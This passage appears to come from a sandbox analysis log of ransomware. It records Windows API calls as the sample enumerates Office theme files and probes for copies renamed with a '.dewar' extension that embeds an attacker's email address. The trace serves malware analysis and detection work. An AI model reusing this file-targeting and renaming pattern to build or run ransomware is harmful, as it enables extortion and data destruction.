Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0240.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.556] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=32433) returned 1 [0240.556] CloseHandle (hObject=0x200) returned 1 [0240.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0240.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0240.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.558] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=103737) returned 1 [0240.558] CloseHandle (hObject=0x200) returned 1 [0240.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0240.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0240.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.569] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=597) returned 1 [0240.569] CloseHandle (hObject=0x200) returned 1 [0240.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0240.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0240.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.570] SetEvent (hEvent=0x118) returned 1 [0240.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.571] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5120) returned 1 [0240.571] CloseHandle (hObject=0x200) returned 1 [0240.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0240.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0240.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.575] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=60724) returned 1 [0240.575] CloseHandle (hObject=0x200) returned 1 [0240.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0240.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0240.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.577] SetEvent (hEvent=0x118) returned 1 [0240.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.580] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=68048) returned 1 [0240.580] CloseHandle (hObject=0x200) returned 1 [0240.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0240.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0240.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.581] SetEvent (hEvent=0x118) returned 1 [0240.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.582] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=429) returned 1 [0240.582] CloseHandle (hObject=0x200) returned 1 [0240.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0240.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0240.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.584] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2552) returned 1 [0240.585] CloseHandle (hObject=0x200) returned 1 [0240.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0240.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0240.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.586] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=18817) returned 1 [0240.587] CloseHandle (hObject=0x200) returned 1 [0240.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0240.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0240.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.986] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=99561) returned 1 [0240.986] CloseHandle (hObject=0x200) returned 1 [0240.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0240.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0240.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.987] SetEvent (hEvent=0x118) returned 1 [0240.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.988] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5179) returned 1 [0240.988] CloseHandle (hObject=0x200) returned 1 [0240.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0240.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0240.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.990] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=33559) returned 1 [0240.990] CloseHandle (hObject=0x200) returned 1 [0240.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0240.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0240.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.998] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=65885) returned 1 [0240.998] CloseHandle (hObject=0x200) returned 1 [0240.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0240.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0240.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.999] SetEvent (hEvent=0x118) returned 1 [0240.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.000] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=462) returned 1 [0241.000] CloseHandle (hObject=0x200) returned 1 [0241.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf")) returned 0x20 [0241.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf")) returned 0x20 [0241.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.002] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2476) returned 1 [0241.002] CloseHandle (hObject=0x200) returned 1 [0241.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0241.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0241.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" 